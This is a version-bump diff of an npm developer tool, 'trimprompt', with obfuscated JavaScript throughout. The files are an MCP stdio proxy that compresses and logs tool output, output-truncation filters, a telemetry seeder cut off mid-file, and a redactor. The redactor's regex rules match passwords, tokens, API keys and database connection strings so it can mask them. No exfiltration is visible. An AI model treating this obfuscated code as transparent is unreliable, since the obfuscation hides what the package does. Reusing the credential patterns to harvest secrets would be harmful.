_0x27bb9b=['split','424yvznfK','includes','...\x20+','22821lJphyH','\x0a...\x20(','length','14tdHrbL','keys','\x20matches\x20across\x20','2579394xNPGev','\x20files)','No\x20matches\x20found','\x20directories,\x20','startsWith','filterTree','slice','14026ToyJbm','Empty\x20directory','6096144pFASfs','substring','filterGrep','indexOf','filterCat','\x20more\x20directories','__esModule','join','trim','5638329batwIg','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','filterLs','match','5067180jINIsf','filter','\x20more\x20files\x20with\x20matches','1699475mcoyPh','\x20matches\x20in\x20this\x20file)','185uSRCmM','endsWith','push','total\x20','\x20more\x20matches','11phzawg'];a0_0x3360=function(){return _0x27bb9b;};return a0_0x3360();}function filterCat(_0x440551){const _0x2b7ed4=a0_0x5b305e,_0x49bdc4=_0x440551['split']('\x0a');if(_0x49bdc4[_0x2b7ed4(0x1fd)]<=0x64)return _0x440551;const _0x32dffa=[];return _0x32dffa['push'](..._0x49bdc4[_0x2b7ed4(0x207)](0x0,0x32)),_0x32dffa['push']('\x0a...\x20['+(_0x49bdc4['length']-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0x32dffa[_0x2b7ed4(0x1f3)](..._0x49bdc4[_0x2b7ed4(0x207)](-0x1e)),_0x32dffa[_0x2b7ed4(0x1f3)]('\x0a('+_0x49bdc4['length']+'\x20lines\x20total)'),_0x32dffa['join']('\x0a');}function filterGrep(_0x193c53){const _0x208625=a0_0x5b305e,_0x1f0a6b=_0x193c53[_0x208625(0x1f7)]('\x0a')['filter'](_0x300313=>_0x300313[_0x208625(0x212)]()[_0x208625(0x1fd)]>0x0);if(_0x1f0a6b['length']===0x0)return _0x208625(0x203);if(_0x1f0a6b[_0x208625(0x1fd)]<=0x32)return _0x193c53[_0x208625(0x212)]();const _0x394b82={},_0x56702a=[];for(const _0x486b59 of _0x1f0a6b){const _0x1efb7b=_0x486b59[_0x208625(0x20d)](':');if(_0x1efb7b>0x0&&_0x1efb7b<0xc8){const _0xacf7ee=_0x486b59[_0x208625(0x20b)](0x0,_0x1efb7b);if(_0xacf7ee[_0x208625(0x1f9)]('/')||_0xacf7ee['includes']('\x5c')||_0xacf7ee[_0x208625(0x1f9)]('.')){if(!_0x394b82[_0xacf7ee])_0x394b82[_0xacf7ee]=[];_0x394b82[_0xacf7ee][_0x208625(0x1f3)](_0x486b59['substring'](_0x1efb7b+0x1)['trim']());continue;}}_0x56702a[_0x208625(0x1f3)](_0x486b59);}const _0x10dfe4=[],_0x3f48e5=Object[_0x208625(0x1ff)](_0x394b82);if(_0x3f48e5[_0x208625(0x1fd)]>0x0){const _0x135a68=0x14,_0x179fb4=_0x3f48e5[_0x208625(0x207)](0x0,_0x135a68);for(const _0x2dc575 of _0x179fb4){const _0x43664f=_0x394b82[_0x2dc575];if(_0x43664f['length']<=0x3)for(const _0x36120f of _0x43664f){_0x10dfe4['push'](_0x2dc575+':\x20'+_0x36120f);}else _0x10dfe4[_0x208625(0x1f3)](_0x2dc575+':\x20'+_0x43664f[0x0]),_0x10dfe4[_0x208625(0x1f3)](_0x2dc575+':\x20...\x20('+_0x43664f['length']+_0x208625(0x1f0));}_0x3f48e5['length']>_0x135a68&&_0x10dfe4[_0x208625(0x1f3)](_0x208625(0x1fa)+(_0x3f48e5['length']-_0x135a68)+_0x208625(0x219));}if(_0x56702a[_0x208625(0x1fd)]>0x0){const _0x2d335f=0x1e;_0x10dfe4['push'](..._0x56702a[_0x208625(0x207)](0x0,_0x2d335f)),_0x56702a[_0x208625(0x1fd)]>_0x2d335f&&_0x10dfe4[_0x208625(0x1f3)](_0x208625(0x1fa)+(_0x56702a[_0x208625(0x1fd)]-_0x2d335f)+_0x208625(0x1f5));}const _0x38b931=_0x1f0a6b[_0x208625(0x1fd)];return _0x10dfe4[_0x208625(0x1f3)]('\x0a('+_0x38b931+_0x208625(0x200)+(_0x3f48e5[_0x208625(0x1fd)]||'?')+_0x208625(0x202)),_0x10dfe4['join']('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x335412=a0_0x54f3;(function(_0x16b73e,_0x157988){const _0x3ec430=a0_0x54f3,_0x22bdd8=_0x16b73e();while(!![]){try{const _0x159124=parseInt(_0x3ec430(0x1ea))/0x1+-parseInt(_0x3ec430(0x1d9))/0x2+parseInt(_0x3ec430(0x1c2))/0x3+-parseInt(_0x3ec430(0x1c4))/0x4+-parseInt(_0x3ec430(0x1f2))/0x5+parseInt(_0x3ec430(0x1e6))/0x6*(-parseInt(_0x3ec430(0x1e0))/0x7)+parseInt(_0x3ec430(0x1e9))/0x8*(parseInt(_0x3ec430(0x1d0))/0x9);if(_0x159124===_0x157988)break;else _0x22bdd8['push'](_0x22bdd8['shift']());}catch(_0x179435){_0x22bdd8['push'](_0x22bdd8['shift']());}}}(a0_0x5f0e,0x1f3cb));var __createBinding=this&&this[a0_0x335412(0x1eb)]||(Object[a0_0x335412(0x1dc)]?function(_0x2168ae,_0xb32b90,_0x40d775,_0x5e8a0c){const _0xec437=a0_0x335412;if(_0x5e8a0c===undefined)_0x5e8a0c=_0x40d775;var _0x76e345=Object[_0xec437(0x1f0)](_0xb32b90,_0x40d775);(!_0x76e345||(_0xec437(0x1cf)in _0x76e345?!_0xb32b90['__esModule']:_0x76e345['writable']||_0x76e345['configurable']))&&(_0x76e345={'enumerable':!![],'get':function(){return _0xb32b90[_0x40d775];}}),Object[_0xec437(0x1e5)](_0x2168ae,_0x5e8a0c,_0x76e345);}:function(_0x47f1c8,_0x13c409,_0xe28106,_0x23121a){if(_0x23121a===undefined)_0x23121a=_0xe28106;_0x47f1c8[_0x23121a]=_0x13c409[_0xe28106];}),__setModuleDefault=this&&this[a0_0x335412(0x1e1)]||(Object[a0_0x335412(0x1dc)]?function(_0x14137a,_0x2b0560){const _0x4220c4=a0_0x335412;Object[_0x4220c4(0x1e5)](_0x14137a,_0x4220c4(0x1de),{'enumerable':!![],'value':_0x2b0560});}:function(_0x2fbf89,_0x18bbf4){const _0x5b8afc=a0_0x335412;_0x2fbf89[_0x5b8afc(0x1de)]=_0x18bbf4;}),__importStar=this&&this['__importStar']||(function(){var _0x44df9d=function(_0x5a59e2){const _0x3730b3=a0_0x54f3;return _0x44df9d=Object[_0x3730b3(0x1d4)]||function(_0x4bde6d){const _0x4e0683=_0x3730b3;var _0x275146=[];for(var _0x27ef11 in _0x4bde6d)if(Object[_0x4e0683(0x1d3)][_0x4e0683(0x1e2)]['call'](_0x4bde6d,_0x27ef11))_0x275146[_0x275146['length']]=_0x27ef11;return _0x275146;},_0x44df9d(_0x5a59e2);};return function(_0x437077){const _0x5c95d4=a0_0x54f3;if(_0x437077&&_0x437077[_0x5c95d4(0x1d1)])return _0x437077;var _0x43a926={};if(_0x437077!=null){for(var _0x349af9=_0x44df9d(_0x437077),_0x4582fb=0x0;_0x4582fb<_0x349af9[_0x5c95d4(0x1ed)];_0x4582fb++)if(_0x349af9[_0x4582fb]!=='default')__createBinding(_0x43a926,_0x437077,_0x349af9[_0x4582fb]);}return __setModuleDefault(_0x43a926,_0x437077),_0x43a926;};}());Object['defineProperty'](exports,a0_0x335412(0x1d1),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require(a0_0x335412(0x1d5)),readline=__importStar(require(a0_0x335412(0x1f1))),filters_1=require(a0_0x335412(0x1c6)),tracker_1=require('./tracker');function a0_0x5f0e(){const _0x19c434=['spawn','length','result','close','getOwnPropertyDescriptor','readline','834405EYAoJR','81330SIiqbB','text','239240xSCyps','jsonrpc','./filters','trim','exit','stdout','mcp-tool-call','inherit','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','logExecution','error','get','63WaBLrx','__esModule','write','prototype','getOwnPropertyNames','child_process','stringify','compressOutput','tracker','414576HLPKlc','string','content','create','mcp\x20tool\x20(id:\x20','default','pipe','564361uzZAbr','__setModuleDefault','hasOwnProperty','redaction_enabled','isArray','defineProperty','6BHtoFB','getConfig','parse','459872yPnSOJ','213051YsgaGX','__createBinding'];a0_0x5f0e=function(){return _0x19c434;};return a0_0x5f0e();}function a0_0x54f3(_0x4af3fb,_0x4901d0){_0x4af3fb=_0x4af3fb-0x1c2;const _0x5f0e4b=a0_0x5f0e();let _0x54f3f9=_0x5f0e4b[_0x4af3fb];return _0x54f3f9;}function runMcpProxy(_0x7eccc8,_0x5316c3){const _0x4265b9=a0_0x335412,_0x3ebe99=(0x0,child_process_1[_0x4265b9(0x1ec)])(_0x7eccc8,_0x5316c3,{'stdio':['pipe','pipe',_0x4265b9(0x1cb)]});process['stdin'][_0x4265b9(0x1df)](_0x3ebe99['stdin']);const _0x149c67=readline['createInterface']({'input':_0x3ebe99[_0x4265b9(0x1c9)],'terminal':![]});_0x149c67['on']('line',_0x485f46=>{const _0x398c17=_0x4265b9;try{const _0x1f1167=JSON[_0x398c17(0x1e8)](_0x485f46);if(_0x1f1167&&_0x1f1167[_0x398c17(0x1c5)]==='2.0'&&_0x1f1167['id']!==undefined&&_0x1f1167[_0x398c17(0x1ee)]&&Array[_0x398c17(0x1e4)](_0x1f1167[_0x398c17(0x1ee)][_0x398c17(0x1db)])){let _0x1b1447=![];for(const _0x5f4d41 of _0x1f1167[_0x398c17(0x1ee)][_0x398c17(0x1db)]){if(_0x5f4d41['type']===_0x398c17(0x1c3)&&typeof _0x5f4d41[_0x398c17(0x1c3)]===_0x398c17(0x1da)&&_0x5f4d41[_0x398c17(0x1c3)][_0x398c17(0x1c7)]()[_0x398c17(0x1ed)]>0x0){const _0x3fc481=_0x5f4d41[_0x398c17(0x1c3)],_0x581c23=(0x0,filters_1[_0x398c17(0x1d7)])(_0x398c17(0x1ca),_0x3fc481,'',tracker_1[_0x398c17(0x1d8)][_0x398c17(0x1e7)]()[_0x398c17(0x1e3)]);tracker_1[_0x398c17(0x1d8)][_0x398c17(0x1cd)](_0x398c17(0x1dd)+_0x1f1167['id']+')',_0x3fc481,_0x581c23,0x0),_0x5f4d41['text']=_0x581c23,_0x1b1447=!![];}}_0x1b1447?process[_0x398c17(0x1c9)]['write'](JSON[_0x398c17(0x1d6)](_0x1f1167)+'\x0a'):process['stdout']['write'](_0x485f46+'\x0a');}else process[_0x398c17(0x1c9)][_0x398c17(0x1d2)](_0x485f46+'\x0a');}catch{process['stdout'][_0x398c17(0x1d2)](_0x485f46+'\x0a');}}),_0x3ebe99['on'](_0x4265b9(0x1ef),_0x31ce71=>{const _0x443ff1=_0x4265b9;process[_0x443ff1(0x1c8)](_0x31ce71||0x0);}),_0x3ebe99['on'](_0x4265b9(0x1ce),_0x1fac68=>{const _0x44ca7b=_0x4265b9;console[_0x44ca7b(0x1ce)](_0x44ca7b(0x1cc)+_0x1fac68['message']),process[_0x44ca7b(0x1c8)](0x1);});}
1
+ 'use strict';const a0_0x560975=a0_0x52fa;function a0_0x52fa(_0xbafbc6,_0x259eda){_0xbafbc6=_0xbafbc6-0x1bb;const _0x4929b3=a0_0x4929();let _0x52fa4f=_0x4929b3[_0xbafbc6];return _0x52fa4f;}function a0_0x4929(){const _0x588d9b=['call','pipe','stdin','3246896NxNHrY','mcp-tool-call','./tracker','error','10biQieq','469456eYObIR','createInterface','3531858DEhgQx','66ecpWxw','stdout','2517535IdgbRU','2.0','runMcpProxy','default','1241376nyOGSH','getConfig','close','9AkMQRJ','redaction_enabled','39IimYaM','parse','get','write','exit','74626MvHqoW','compressOutput','tracker','content','__createBinding','inherit','defineProperty','getOwnPropertyDescriptor','384993CQvaWB','type','isArray','child_process','logExecution','line','length','create','result','configurable','__esModule','readline','stringify','text','getOwnPropertyNames','message','./filters','mcp\x20tool\x20(id:\x20','__importStar','__setModuleDefault'];a0_0x4929=function(){return _0x588d9b;};return a0_0x4929();}(function(_0xbbd1cd,_0x27ba1f){const _0x1bddc9=a0_0x52fa,_0x2257c0=_0xbbd1cd();while(!![]){try{const _0x59e101=-parseInt(_0x1bddc9(0x1e4))/0x1+-parseInt(_0x1bddc9(0x1c0))/0x2*(-parseInt(_0x1bddc9(0x1bb))/0x3)+parseInt(_0x1bddc9(0x1ed))/0x4+parseInt(_0x1bddc9(0x1e9))/0x5+parseInt(_0x1bddc9(0x1e7))/0x6*(-parseInt(_0x1bddc9(0x1c8))/0x7)+parseInt(_0x1bddc9(0x1df))/0x8*(parseInt(_0x1bddc9(0x1f0))/0x9)+-parseInt(_0x1bddc9(0x1e3))/0xa*(parseInt(_0x1bddc9(0x1e6))/0xb);if(_0x59e101===_0x27ba1f)break;else _0x2257c0['push'](_0x2257c0['shift']());}catch(_0x31910f){_0x2257c0['push'](_0x2257c0['shift']());}}}(a0_0x4929,0x4b80b));var __createBinding=this&&this[a0_0x560975(0x1c4)]||(Object[a0_0x560975(0x1cf)]?function(_0x140548,_0x1833c9,_0x53b480,_0x1850d9){const _0x5a41e0=a0_0x560975;if(_0x1850d9===undefined)_0x1850d9=_0x53b480;var _0x1cd85e=Object[_0x5a41e0(0x1c7)](_0x1833c9,_0x53b480);(!_0x1cd85e||(_0x5a41e0(0x1bd)in _0x1cd85e?!_0x1833c9['__esModule']:_0x1cd85e['writable']||_0x1cd85e[_0x5a41e0(0x1d1)]))&&(_0x1cd85e={'enumerable':!![],'get':function(){return _0x1833c9[_0x53b480];}}),Object[_0x5a41e0(0x1c6)](_0x140548,_0x1850d9,_0x1cd85e);}:function(_0x3261e3,_0xbb01d2,_0x3fd4f7,_0x1c6725){if(_0x1c6725===undefined)_0x1c6725=_0x3fd4f7;_0x3261e3[_0x1c6725]=_0xbb01d2[_0x3fd4f7];}),__setModuleDefault=this&&this[a0_0x560975(0x1db)]||(Object[a0_0x560975(0x1cf)]?function(_0xb997d8,_0x8a929d){const _0x1e4775=a0_0x560975;Object[_0x1e4775(0x1c6)](_0xb997d8,_0x1e4775(0x1ec),{'enumerable':!![],'value':_0x8a929d});}:function(_0x16caf5,_0x138f6d){const _0x1576a1=a0_0x560975;_0x16caf5[_0x1576a1(0x1ec)]=_0x138f6d;}),__importStar=this&&this[a0_0x560975(0x1da)]||(function(){var _0x3e00ea=function(_0x9fef){const _0x1a41be=a0_0x52fa;return _0x3e00ea=Object[_0x1a41be(0x1d6)]||function(_0x156356){const _0xa11fff=_0x1a41be;var _0x54bf9c=[];for(var _0x25243b in _0x156356)if(Object['prototype']['hasOwnProperty'][_0xa11fff(0x1dc)](_0x156356,_0x25243b))_0x54bf9c[_0x54bf9c[_0xa11fff(0x1ce)]]=_0x25243b;return _0x54bf9c;},_0x3e00ea(_0x9fef);};return function(_0x4e95ec){const _0x260b01=a0_0x52fa;if(_0x4e95ec&&_0x4e95ec[_0x260b01(0x1d2)])return _0x4e95ec;var _0x1a32b6={};if(_0x4e95ec!=null){for(var _0x55225c=_0x3e00ea(_0x4e95ec),_0x3123ab=0x0;_0x3123ab<_0x55225c[_0x260b01(0x1ce)];_0x3123ab++)if(_0x55225c[_0x3123ab]!=='default')__createBinding(_0x1a32b6,_0x4e95ec,_0x55225c[_0x3123ab]);}return __setModuleDefault(_0x1a32b6,_0x4e95ec),_0x1a32b6;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x560975(0x1eb)]=runMcpProxy;const child_process_1=require(a0_0x560975(0x1cb)),readline=__importStar(require(a0_0x560975(0x1d3))),filters_1=require(a0_0x560975(0x1d8)),tracker_1=require(a0_0x560975(0x1e1));function runMcpProxy(_0x360c92,_0x4622fe){const _0x443e5e=a0_0x560975,_0x3a29cd=(0x0,child_process_1['spawn'])(_0x360c92,_0x4622fe,{'stdio':['pipe',_0x443e5e(0x1dd),_0x443e5e(0x1c5)]});process[_0x443e5e(0x1de)][_0x443e5e(0x1dd)](_0x3a29cd['stdin']);const _0x100e26=readline[_0x443e5e(0x1e5)]({'input':_0x3a29cd['stdout'],'terminal':![]});_0x100e26['on'](_0x443e5e(0x1cd),_0x36fb47=>{const _0x2031f2=_0x443e5e;try{const _0x3a2840=JSON[_0x2031f2(0x1bc)](_0x36fb47);if(_0x3a2840&&_0x3a2840['jsonrpc']===_0x2031f2(0x1ea)&&_0x3a2840['id']!==undefined&&_0x3a2840['result']&&Array[_0x2031f2(0x1ca)](_0x3a2840[_0x2031f2(0x1d0)][_0x2031f2(0x1c3)])){let _0x2d90a4=![];for(const _0x1f5e18 of _0x3a2840[_0x2031f2(0x1d0)][_0x2031f2(0x1c3)]){if(_0x1f5e18[_0x2031f2(0x1c9)]===_0x2031f2(0x1d5)&&typeof _0x1f5e18['text']==='string'&&_0x1f5e18[_0x2031f2(0x1d5)]['trim']()[_0x2031f2(0x1ce)]>0x0){const _0x3cdca3=_0x1f5e18['text'],_0x3486a7=(0x0,filters_1[_0x2031f2(0x1c1)])(_0x2031f2(0x1e0),_0x3cdca3,'',tracker_1[_0x2031f2(0x1c2)][_0x2031f2(0x1ee)]()[_0x2031f2(0x1f1)]);tracker_1[_0x2031f2(0x1c2)][_0x2031f2(0x1cc)](_0x2031f2(0x1d9)+_0x3a2840['id']+')',_0x3cdca3,_0x3486a7,0x0),_0x1f5e18[_0x2031f2(0x1d5)]=_0x3486a7,_0x2d90a4=!![];}}_0x2d90a4?process[_0x2031f2(0x1e8)][_0x2031f2(0x1be)](JSON[_0x2031f2(0x1d4)](_0x3a2840)+'\x0a'):process['stdout'][_0x2031f2(0x1be)](_0x36fb47+'\x0a');}else process[_0x2031f2(0x1e8)]['write'](_0x36fb47+'\x0a');}catch{process[_0x2031f2(0x1e8)]['write'](_0x36fb47+'\x0a');}}),_0x3a29cd['on'](_0x443e5e(0x1ef),_0xf2de5f=>{const _0x4d96b7=_0x443e5e;process[_0x4d96b7(0x1bf)](_0xf2de5f||0x0);}),_0x3a29cd['on'](_0x443e5e(0x1e2),_0x28a15b=>{const _0x300237=_0x443e5e;console['error']('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x28a15b[_0x300237(0x1d7)]),process[_0x300237(0x1bf)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.12",
3
+ "version": "1.0.13",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x410d95=a0_0x2acc;(function(_0x18cd5e,_0x3c2839){const _0x2e40af=a0_0x2acc,_0x26499a=_0x18cd5e();while(!![]){try{const _0x3a5726=-parseInt(_0x2e40af(0x17f))/0x1*(parseInt(_0x2e40af(0x188))/0x2)+parseInt(_0x2e40af(0x191))/0x3+-parseInt(_0x2e40af(0x183))/0x4+-parseInt(_0x2e40af(0x18f))/0x5+-parseInt(_0x2e40af(0x17b))/0x6+-parseInt(_0x2e40af(0x18c))/0x7*(parseInt(_0x2e40af(0x18b))/0x8)+parseInt(_0x2e40af(0x185))/0x9*(parseInt(_0x2e40af(0x17e))/0xa);if(_0x3a5726===_0x3c2839)break;else _0x26499a['push'](_0x26499a['shift']());}catch(_0x5816ed){_0x26499a['push'](_0x26499a['shift']());}}}(a0_0x21ce,0x83c22));function a0_0x21ce(){const _0x343e4e=['518rHokKk','defineProperty','regex','4682900TQfgPl','IPv4\x20Address','36312DLVGoR','$1:\x20[REDACTED_CREDENTIAL]','[REDACTED_IP]','886002hhVAal','Redactor','Email\x20Address','33845230seNACf','753983Lwxjsv','replace','redact','redactor','3485228NQtAUz','replacement','9WHPVSc','loadDefaultRules','[REDACTED_EMAIL]','2TVFgZu','__esModule','rules','15936hBLnNn'];a0_0x21ce=function(){return _0x343e4e;};return a0_0x21ce();}Object[a0_0x410d95(0x18d)](exports,a0_0x410d95(0x189),{'value':!![]}),exports['redactor']=exports['Redactor']=void 0x0;class Redactor{[a0_0x410d95(0x18a)]=[];constructor(){this['loadDefaultRules']();}[a0_0x410d95(0x186)](){const _0x3a7bab=a0_0x410d95;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':'API\x20Key\x20or\x20Password','regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x3a7bab(0x192)},{'name':_0x3a7bab(0x190),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x3a7bab(0x17a)},{'name':_0x3a7bab(0x17d),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x3a7bab(0x187)}];}[a0_0x410d95(0x181)](_0x78c163){const _0x17ee8f=a0_0x410d95;let _0x1fe49b=_0x78c163;for(const _0x3f9ea6 of this['rules']){_0x1fe49b=_0x1fe49b[_0x17ee8f(0x180)](_0x3f9ea6[_0x17ee8f(0x18e)],_0x3f9ea6[_0x17ee8f(0x184)]);}return _0x1fe49b;}}function a0_0x2acc(_0x48e52c,_0x1b5d0e){_0x48e52c=_0x48e52c-0x17a;const _0x21ce7f=a0_0x21ce();let _0x2acc8b=_0x21ce7f[_0x48e52c];return _0x2acc8b;}exports[a0_0x410d95(0x17c)]=Redactor,exports[a0_0x410d95(0x182)]=new Redactor();
1
+ 'use strict';const a0_0x4ebf18=a0_0x2a96;function a0_0x482f(){const _0x2fc869=['237466VpxcxA','Redactor','rules','defineProperty','loadDefaultRules','[REDACTED_EMAIL]','[REDACTED_DB_CONNECTION_STRING]','replace','768nBiqCs','redactor','API\x20Key\x20or\x20Password','Database\x20Connection\x20String','regex','224059DvPNGK','40PhYqtg','374064vkALZB','1931102TcvbnP','redact','7615895LBKJAo','3FDrCjT','8RSKUlh','1382517uAwyPN','13652Eojwyp','1695FKSORs','__esModule'];a0_0x482f=function(){return _0x2fc869;};return a0_0x482f();}(function(_0x20f19f,_0x4fbd39){const _0x1bf71f=a0_0x2a96,_0x5224c2=_0x20f19f();while(!![]){try{const _0x4ec12f=parseInt(_0x1bf71f(0xd3))/0x1+parseInt(_0x1bf71f(0xe3))/0x2*(parseInt(_0x1bf71f(0xe6))/0x3)+parseInt(_0x1bf71f(0xd0))/0x4*(parseInt(_0x1bf71f(0xd1))/0x5)+parseInt(_0x1bf71f(0xe2))/0x6+parseInt(_0x1bf71f(0xe5))/0x7*(-parseInt(_0x1bf71f(0xce))/0x8)+-parseInt(_0x1bf71f(0xcf))/0x9*(-parseInt(_0x1bf71f(0xe1))/0xa)+parseInt(_0x1bf71f(0xe0))/0xb*(-parseInt(_0x1bf71f(0xdb))/0xc);if(_0x4ec12f===_0x4fbd39)break;else _0x5224c2['push'](_0x5224c2['shift']());}catch(_0x3e92a5){_0x5224c2['push'](_0x5224c2['shift']());}}}(a0_0x482f,0x9d863));function a0_0x2a96(_0x442527,_0x28fbb){_0x442527=_0x442527-0xce;const _0x482fc8=a0_0x482f();let _0x2a969c=_0x482fc8[_0x442527];return _0x2a969c;}Object[a0_0x4ebf18(0xd6)](exports,a0_0x4ebf18(0xd2),{'value':!![]}),exports[a0_0x4ebf18(0xdc)]=exports[a0_0x4ebf18(0xd4)]=void 0x0;class Redactor{[a0_0x4ebf18(0xd5)]=[];constructor(){const _0x51b21d=a0_0x4ebf18;this[_0x51b21d(0xd7)]();}[a0_0x4ebf18(0xd7)](){const _0x3f7902=a0_0x4ebf18;this['rules']=[{'name':_0x3f7902(0xde),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x3f7902(0xd9)},{'name':_0x3f7902(0xdd),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':'Email\x20Address','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x3f7902(0xd8)}];}[a0_0x4ebf18(0xe4)](_0x327abc){const _0x130db9=a0_0x4ebf18;let _0x3a1cdb=_0x327abc;for(const _0xdc484f of this[_0x130db9(0xd5)]){_0x3a1cdb=_0x3a1cdb[_0x130db9(0xda)](_0xdc484f[_0x130db9(0xdf)],_0xdc484f['replacement']);}return _0x3a1cdb;}}exports['Redactor']=Redactor,exports[a0_0x4ebf18(0xdc)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3eecdb=a0_0x3ff9;function a0_0x3ff9(_0x4b9f66,_0x2efa31){_0x4b9f66=_0x4b9f66-0x8c;const _0xd6a5c9=a0_0xd6a5();let _0x3ff99b=_0xd6a5c9[_0x4b9f66];return _0x3ff99b;}(function(_0x2efa0d,_0x4bb190){const _0x53e3b4=a0_0x3ff9,_0x572bb6=_0x2efa0d();while(!![]){try{const _0x2b3ba5=parseInt(_0x53e3b4(0xa9))/0x1+-parseInt(_0x53e3b4(0xaa))/0x2*(parseInt(_0x53e3b4(0x9f))/0x3)+-parseInt(_0x53e3b4(0xa6))/0x4+parseInt(_0x53e3b4(0xa7))/0x5+-parseInt(_0x53e3b4(0xa5))/0x6+parseInt(_0x53e3b4(0xa2))/0x7*(parseInt(_0x53e3b4(0xa8))/0x8)+parseInt(_0x53e3b4(0x8e))/0x9;if(_0x2b3ba5===_0x4bb190)break;else _0x572bb6['push'](_0x572bb6['shift']());}catch(_0x24cc05){_0x572bb6['push'](_0x572bb6['shift']());}}}(a0_0xd6a5,0xe8678));Object['defineProperty'](exports,a0_0x3eecdb(0x9e),{'value':!![]});function a0_0xd6a5(){const _0x35c799=['[INFO]\x20Building\x20modules...\x0a','log','test_db.py\x20PASS\x0a','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','test_api.py\x20PASS\x0a','test_auth.py\x20PASS\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','repeat','Optimizing\x20assets...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','logExecution','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','__esModule','117qGmFGh','docker\x20build\x20.','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','7KNJWAq','./tracker','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','6795612sBdsfl','3089020gXaSeb','2870395GHZSlO','1613552UjYZrZ','932424dAaGfB','91854bWgZjK','tracker','gemini-1-5-pro','Successfully\x20built\x20image.','26457669JEMzNq','npm\x20run\x20build'];a0_0xd6a5=function(){return _0x35c799;};return a0_0xd6a5();}const tracker_1=require(a0_0x3eecdb(0xa3));console[a0_0x3eecdb(0x91)](a0_0x3eecdb(0x9d)),process.env.TRIMPROMPT_MODEL='claude-3-opus',tracker_1[a0_0x3eecdb(0xab)][a0_0x3eecdb(0x9c)](a0_0x3eecdb(0x8f),'Compilation\x20Output:\x0a'+a0_0x3eecdb(0x90)+a0_0x3eecdb(0x99)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x3eecdb(0x98)](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1['tracker'][a0_0x3eecdb(0x9c)]('pytest\x20tests/app','Test\x20suite\x20run\x20starting...\x0a'+a0_0x3eecdb(0x96)+a0_0x3eecdb(0x92)+a0_0x3eecdb(0x95)['repeat'](0x12c)+a0_0x3eecdb(0x9b),a0_0x3eecdb(0xa4),0x0),process.env.TRIMPROMPT_MODEL=a0_0x3eecdb(0x8c),tracker_1[a0_0x3eecdb(0xab)]['logExecution'](a0_0x3eecdb(0xa0),a0_0x3eecdb(0x9a)+a0_0x3eecdb(0x94)+a0_0x3eecdb(0x97)+a0_0x3eecdb(0x93)+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x3eecdb(0x98)](0x3)+a0_0x3eecdb(0x8d),a0_0x3eecdb(0xa1),0x0),console[a0_0x3eecdb(0x91)]('Database\x20successfully\x20seeded!');
1
+ 'use strict';function a0_0x639a(_0x146e2d,_0x48e41d){_0x146e2d=_0x146e2d-0xae;const _0x38417b=a0_0x3841();let _0x639a45=_0x38417b[_0x146e2d];return _0x639a45;}const a0_0x55a6fa=a0_0x639a;(function(_0x70870f,_0x382bb2){const _0x321e44=a0_0x639a,_0x5677fd=_0x70870f();while(!![]){try{const _0x12d467=-parseInt(_0x321e44(0xd4))/0x1+-parseInt(_0x321e44(0xbf))/0x2*(parseInt(_0x321e44(0xb8))/0x3)+parseInt(_0x321e44(0xc2))/0x4+-parseInt(_0x321e44(0xb7))/0x5*(parseInt(_0x321e44(0xb4))/0x6)+parseInt(_0x321e44(0xc7))/0x7*(parseInt(_0x321e44(0xaf))/0x8)+-parseInt(_0x321e44(0xbd))/0x9+parseInt(_0x321e44(0xc5))/0xa*(parseInt(_0x321e44(0xcd))/0xb);if(_0x12d467===_0x382bb2)break;else _0x5677fd['push'](_0x5677fd['shift']());}catch(_0x4a20aa){_0x5677fd['push'](_0x5677fd['shift']());}}}(a0_0x3841,0x90e88));function a0_0x3841(){const 